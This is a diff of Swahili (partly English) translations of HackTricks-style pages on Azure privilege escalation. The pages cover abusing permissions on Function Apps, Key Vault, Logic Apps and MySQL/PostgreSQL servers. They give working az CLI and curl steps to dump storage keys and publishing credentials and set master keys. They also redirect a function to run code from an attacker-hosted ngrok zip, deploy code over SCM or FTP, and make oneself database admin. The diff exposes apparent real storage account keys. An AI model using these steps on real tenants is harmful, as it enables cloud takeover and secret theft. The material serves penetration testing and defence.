### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Ruhusa hii inaruhusu kuunda/update funguo za mfumo kwa kazi iliyoainishwa na:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Ruhusa hii inaruhusu kupata mipangilio ya kazi. Ndani ya hizi mipangilio inaweza kuwa na uwezo wa kupata thamani za msingi **`AzureWebJobsStorage`** au **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ambazo zina **funguo ya akaunti ya kufikia uhifadhi wa blob wa kazi hiyo kwa ruhusa KAMILI**.
|
||||
Ruhusa hii inaruhusu kupata mipangilio ya kazi. Ndani ya hizi mipangilio inaweza kuwa na uwezo wa kupata thamani za msingi **`AzureWebJobsStorage`** au **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ambazo zina **funguo ya akaunti ya kufikia hifadhi ya blob ya kazi kwa ruhusa KAMILI**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
@@ -181,19 +181,19 @@ Zaidi ya hayo, ruhusa hii pia inaruhusu kupata **SCM username and password** (ik
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Hizi ruhusa zinaruhusu kuorodhesha thamani za config za kazi kama tulivyoona hapo awali pamoja na **kubadilisha hizi thamani**. Hii ni muhimu kwa sababu mipangilio hii inaonyesha mahali ambapo msimbo wa kutekeleza ndani ya kazi unapatikana. 
|
||||
Hizi ruhusa zinaruhusu kuorodhesha thamani za usanidi wa kazi kama tulivyoona hapo awali pamoja na **kubadilisha hizi thamani**. Hii ni muhimu kwa sababu mipangilio hii inaonyesha mahali ambapo msimbo wa kutekeleza ndani ya kazi unapatikana.
|
||||
|
||||
Kwa hivyo inawezekana kuweka thamani ya mipangilio **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye faili ya zip ya URL inayoshikilia msimbo mpya wa kutekeleza ndani ya programu ya wavuti:
|
||||
Kwa hivyo inawezekana kuweka thamani ya usanidi **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL ya faili ya zip inayoshikilia msimbo mpya wa kutekeleza ndani ya programu ya wavuti:
|
||||
|
||||
- Anza kwa kupata config ya sasa
|
||||
- Anza kwa kupata usanidi wa sasa
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Unda msimbo unayotaka kazi ifanye na uweke hadharani
|
||||
- Unda msimbo unayotaka kazi hiyo ifanye na uweke hadharani
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -203,9 +203,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Badilisha kazi, shika vigezo vya awali na ongeza mwishoni **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL yenye **zip** inayoshikilia msimbo.
|
||||
- Badilisha kazi, shika vigezo vya awali na ongeza mwishoni config **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL yenye **zip** inayoshikilia msimbo.
|
||||
|
||||
Mfano ufuatao ni wa **mipangilio yangu mwenyewe unahitaji kubadilisha thamani kwa zako**, angalia mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , hapa ndipo nilipokuwa nikihifadhi programu.
|
||||
Mfano ufuatao ni wa **mipangilio yangu mwenyewe ambayo utahitaji kubadilisha thamani kwa zako**, kumbuka mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hapa ndipo nilipokuwa nikihifadhi programu.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -213,7 +213,7 @@ az rest --method PUT \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Kwa ruhusa hii ni **uwezekano wa kubadilisha msimbo wa programu** kupitia konsoli ya wavuti (au kupitia kiunganishi hiki cha API):
|
||||
```bash
|
||||
@@ -224,7 +224,7 @@ az rest --method PUT \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Ruhusa hizi zinaruhusu kuorodhesha wasifu wote wa uchapishaji ambao kimsingi unajumuisha **basic auth credentials**:
|
||||
```bash
|
||||
@@ -234,15 +234,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Njia nyingine ingekuwa kuweka akreditivu zako mwenyewe na kuzitumia kwa:
|
||||
Njia nyingine ingekuwa kuweka akreditivu zako mwenyewe na kuzitumia kwa kutumia:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Ikiwa **REDACTED** akidi
|
||||
- Ikiwa **REDACTED** akauti
|
||||
|
||||
Ikiwa unaona kwamba akidi hizo ni **REDACTED**, ni kwa sababu unahitaji **kuwezesha chaguo la uthibitishaji wa msingi wa SCM** na kwa hiyo unahitaji ruhusa ya pili (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Ikiwa unaona kwamba akauti hizo ni **REDACTED**, ni kwa sababu unahitaji **kuwezesha chaguo la uthibitishaji wa msingi wa SCM** na kwa hiyo unahitaji ruhusa ya pili (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -275,15 +275,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Note kwamba **jina la mtumiaji wa SCM** kwa kawaida ni herufi "$" ikifuatiwa na jina la programu, hivyo: `$<app-name>`._
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
Unaweza pia kufikia ukurasa wa wavuti kutoka `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Thamani za mipangilio zinajumuisha **AccountKey** ya akaunti ya hifadhi inayohifadhi data ya programu ya kazi, ikiruhusu kudhibiti akaunti hiyo ya hifadhi.
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Njia ya FTP**
|
||||
- **Method FTP**
|
||||
|
||||
Unganisha na seva ya FTP ukitumia:
|
||||
Connect to the FTP server using:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -297,38 +297,29 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
_Kumbuka kwamba **jina la mtumiaji wa FTP** kawaida liko katika muundo \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
Kulingana na [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), ruhusa hii inaruhusu **kutekeleza amri ndani ya seva ya SCM** ambayo inaweza kutumika kubadilisha msimbo wa chanzo wa programu:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Ruhusa hii inaruhusu **kusoma msimbo wa chanzo** wa programu kupitia VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Kwa ruhusa hii inawezekana [kupata **token ya admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) ambayo inaweza kutumika baadaye kupata **funguo kuu** na hivyo kufikia na kubadilisha msimbo wa kazi:
|
||||
Kwa ruhusa hii inawezekana [kupata **token ya admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) ambayo inaweza kutumika baadaye kupata **funguo kuu** na hivyo kufikia na kubadilisha msimbo wa kazi.
|
||||
|
||||
Hata hivyo, katika ukaguzi wangu wa mwisho hakukuwa na token iliyorejeshwa, hivyo inaweza kuwa imezimwa au haitumiki tena, lakini hapa kuna jinsi unavyoweza kufanya hivyo:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Ruhusa hizi zinaruhusu **kuwezesha kazi** ambazo zinaweza kuwa zimezimwa (au kuzizima).
|
||||
```bash
|
||||
@@ -342,17 +333,17 @@ Inawezekana pia kuona kama kazi imewezeshwa au imezuiliwa katika URL ifuatayo (u
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Kwa ruhusa hizi inawezekana **kubadilisha kontena linalotumiwa na programu ya kazi** iliyowekwa ili kuendesha kontena. Hii itamruhusu mshambuliaji kupakia programu ya kontena ya kazi ya azure yenye uharibifu kwenye docker hub (kwa mfano) na kufanya kazi hiyo iite.
|
||||
Kwa ruhusa hizi inawezekana **kubadilisha kontena linalotumiwa na programu ya kazi** iliyowekwa kufanya kazi na kontena. Hii itamruhusu mshambuliaji kupakia programu ya kontena ya kazi ya azure yenye uharibifu kwenye docker hub (kwa mfano) na kufanya kazi hiyo iite.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Kwa ruhusa hizi inawezekana **kuunganisha utambulisho wa mtumiaji uliosimamiwa mpya kwa kazi**. Ikiwa kazi hiyo ilikumbwa na hatari hii itaruhusu kupandisha mamlaka kwa utambulisho wowote wa mtumiaji uliosimamiwa.
|
||||
Kwa ruhusa hizi inawezekana **kuunganisha utambulisho wa mtumiaji ulioendeshwa na kazi**. Ikiwa kazi hiyo ilikumbwa na hatari hii itaruhusu kupandisha mamlaka kwa utambulisho wowote wa mtumiaji ulioendeshwa.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
@@ -361,9 +352,9 @@ az functionapp identity assign \
|
||||
```
|
||||
### Remote Debugging
|
||||
|
||||
Inawezekana pia kuungana ili kudebug kazi inayotembea ya Azure kama [**ilivyoelezwa katika nyaraka**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa default Azure itazima chaguo hili baada ya siku 2 ikiwa mendelevu atasahau ili kuepuka kuacha usanidi dhaifu.
|
||||
Ni uwezekano wa kuungana ili kudebug kazi inayotembea ya Azure kama [**ilivyoelezwa katika nyaraka**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa default Azure itazima chaguo hili baada ya siku 2 ikiwa mendelevu atasahau ili kuepuka kuacha usanidi dhaifu.
|
||||
|
||||
Inawezekana kuangalia ikiwa Kazi ina uwezo wa kudebug kwa:
|
||||
Ni uwezekano wa kuangalia ikiwa Kazi ina debugging iliyoanzishwa na:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
@@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
|
||||
```
|
||||
### Badilisha Github repo
|
||||
|
||||
Nilijaribu kubadilisha Github repo kutoka ambapo kutekelezwa kunafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, **msimbo mpya haukupakuliwa** (labda kwa sababu inatarajia Github Action kuboresha msimbo).\
|
||||
Zaidi ya hayo, **kitambulisho cha usimamizi wa shirikisho hakikubadilishwa** kuruhusu hazina mpya, hivyo inaonekana kama hii si ya manufaa sana.
|
||||
Nilijaribu kubadilisha Github repo ambapo kutekelezwa kunafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, **msimbo mpya haukupakuliwa** (labda kwa sababu inatarajia Github Action kuboresha msimbo).\
|
||||
Zaidi ya hayo, **kitambulisho cha usimamizi wa shirikisho hakikubadilishwa** kuruhusu hazina mpya, hivyo inaonekana kwamba hii si ya manufaa sana.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
@@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu huduma hii angalia:
|
||||
../az-services/az-keyvault.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
### `Microsoft.KeyVault/vaults/write`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii ataweza kubadilisha sera ya vault ya funguo (vault ya funguo lazima itumie sera za ufikiaji badala ya RBAC).
|
||||
```bash
|
||||
|
||||
+7
-15
@@ -5,15 +5,13 @@
|
||||
## Logic Apps Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-logic-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha, Azure Logic Apps workflows. Workflows zinaelezea michakato ya kiotomatiki na uhusiano kati ya mifumo na huduma mbalimbali.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha, Azure Logic Apps workflows. Workflows zinafafanua michakato ya kiotomatiki na uhusiano kati ya mifumo na huduma mbalimbali.
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -26,8 +24,6 @@ az logic workflow update \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Na baada ya kubadilisha, unaweza kuikimbia na:
|
||||
```bash
|
||||
az rest \
|
||||
@@ -36,16 +32,12 @@ az rest \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
Kwa ruhusa hizi, unaweza kupeleka, Logic App workflows kwa kutumia ZIP file deployments. Ruhusa hizi zinawezesha vitendo kama kusoma maelezo ya programu, kufikia akreditivu za uchapishaji, kuandika mabadiliko, na kuorodhesha usanidi wa programu. Pamoja na ruhusa za kuanzisha unaweza kusasisha na kupeleka Logic App mpya na maudhui unayotaka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
|
||||
Kwa ruhusa hizi, unaweza kupeleka, Logic App workflows kwa kutumia upelelezi wa faili za ZIP. Ruhusa hizi zinawezesha vitendo kama kusoma maelezo ya programu, kufikia akreditivu za uchapishaji, kuandika mabadiliko, na kuorodhesha usanidi wa programu. Pamoja na ruhusa za kuanzisha, unaweza kuboresha na kupeleka Logic App mpya na maudhui unayotaka.
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,19 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## MySQL Database Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-mysql.md
|
||||
{{#endref}}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta MySQL Flexible Server instances kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufunga seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta mifano ya MySQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufunga seva.
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
@@ -27,32 +24,20 @@ az mysql flexible-server create \
|
||||
--tier <PricingTier> \
|
||||
--version <MySQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la MySQL, muhimu bila shaka katika kesi ambapo uthibitishaji wa MySQL umewezeshwa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la MySQL, muhimu bila shaka ikiwa uthibitishaji wa MySQL umewezeshwa.
|
||||
```bash
|
||||
az mysql flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma umewezeshwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Vilevile, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya MySQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa kiutawala juu ya seva ya MySQL. Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji ulioteuliwa ili kutumika.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya MySQL Flexible. Hii inaweza kutumiwa vibaya kwa kujipatia au kuweka akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya MySQL. Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji uliotolewa ili kutumika.
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-23
@@ -5,15 +5,13 @@
|
||||
## PostgreSQL Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
{{#ref}}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda, kuboresha, au kufuta mifano ya PostgreSQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufunga seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda, kuboresha, au kufuta mifano ya PostgreSQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufunga seva.
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
@@ -26,34 +24,22 @@ az postgres flexible-server create \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la PostgreSQL, muhimu bila shaka ikiwa uthibitishaji wa PostgreSQL umewezeshwa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma umewezeshwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya PostgreSQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya PostgreSQL. Kusasisha kiongozi aliye tayari hakusaidiwi bado hivyo ikiwa kuna mmoja aliyeundwa lazima uifute kwanza.
|
||||
Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya PostgreSQL Flexible. Hii inaweza kutumika kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya PostgreSQL. Kusasisha kiongozi aliyepo bado hakusaidiwi hivyo ikiwa kuna mmoja aliyeundwa lazima uifute kwanza.
|
||||
|
||||
Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji aliyepewa ili kuitumia.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
